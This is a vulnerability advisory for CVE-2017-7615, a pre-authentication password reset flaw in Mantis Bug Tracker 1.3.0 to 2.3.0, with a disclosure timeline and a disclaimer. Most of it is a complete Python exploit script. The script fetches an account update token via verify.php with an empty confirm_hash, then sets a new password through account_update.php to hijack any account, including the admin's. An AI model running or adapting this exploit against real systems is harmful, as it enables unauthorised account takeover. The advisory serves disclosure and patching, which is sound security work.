1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 |
[+] Credits: John Page a.k.a hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source:http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt [+] ISR: ApparitionSec Vendor: ================ www.mantisbt.org Product: ================== Mantis Bug Tracker v1.3.0 / 2.3.0 MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases. Vulnerability Type: =============================== Pre-Auth Remote Password Reset CVE Reference: ============== CVE-2017-7615 Security Issue: ================ Mantis account verification page 'verify.php' allows resetting ANY user's password. Remote un-authenticated attackers can send HTTP GET requests to Hijack ANY Mantis accounts by guessing the ID / username. Vulnerable code: In verify.php line 66: if( $f_confirm_hash != $t_token_confirm_hash ) { trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR ); } This code attempts to verify a user account and compares hashes for a user request. However, by supplying empty value we easily bypass the security check. e.g. http://127.0.0.1/mantisbt-2.3.0/verify.php?id=1&confirm_hash= This will then allow you to change passwords and hijack ANY mantisbt accounts. All version >= 1.3.0 as well as 2.3.0 are affected, 1.2.x versions are not affected. References: ============ https://mantisbt.org/bugs/view.php?id=22690#c56509 POC Video URL: ============== https://vimeo.com/213144905 Exploit/POC: ============= import cookielib,urllib,urllib2,time print 'Mantis Bug Tracker >= v1.3.0 - 2.3.0' print '1.2.x versions are not affected' print 'Remote Password Reset 0day Exploit' print 'Credits: John Page a.k.a HYP3RLINX / APPARITIONSEC\n' IP=raw_input("[Mantis Victim IP]>") realname=raw_input("[Username]") verify_user_id=raw_input("[User ID]") passwd=raw_input("[New Password]") TARGET = 'http://'+IP+'/mantisbt-2.3.0/verify.php?id='+verify_user_id+'&confirm_hash=' values={} account_update_token='' #verify_user_id='1'#Admin= 1 #realname='administrator'#Must be known or guessed. #REQUEST 1, get Mantis account_update_token cookies = cookielib.CookieJar() opener = urllib2.build_opener( urllib2.HTTPRedirectHandler(), urllib2.HTTPHandler(debuglevel=0), urllib2.HTTPSHandler(debuglevel=0), urllib2.HTTPCookieProcessor(cookies)) res = opener.open(TARGET) arr=res.readlines() for s in arr: if 'account_update_token' in s: break #print s[61:-38] ACCT_TOKEN=s[61:-38] time.sleep(0.3) #REQUEST 2 Hijack the Admin Account TARGET='http://'+IP+'/mantisbt-2.3.0/account_update.php' values = {'verify_user_id' : '1', 'account_update_token' : ACCT_TOKEN, 'realname' : realname, 'password' : passwd, 'password_confirm' : passwd} data = urllib.urlencode(values) opener = urllib2.build_opener( urllib2.HTTPRedirectHandler(), urllib2.HTTPHandler(debuglevel=0), urllib2.HTTPSHandler(debuglevel=0), urllib2.HTTPCookieProcessor(cookies)) response = opener.open(TARGET, data) the_page = response.read() http_headers = response.info() #print http_headers print response.getcode() print 'Account Hijacked!' time.sleep(2) Network Access: =============== Remote Severity: ========= Critical Disclosure Timeline: ============================= Vendor Notification: April 7, 2017 Vendor acknowledged: April 7, 2017 Vendor patch created: April 10, 2017 Vendor Disclosure: April 16, 2017 April 16, 2017: Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). |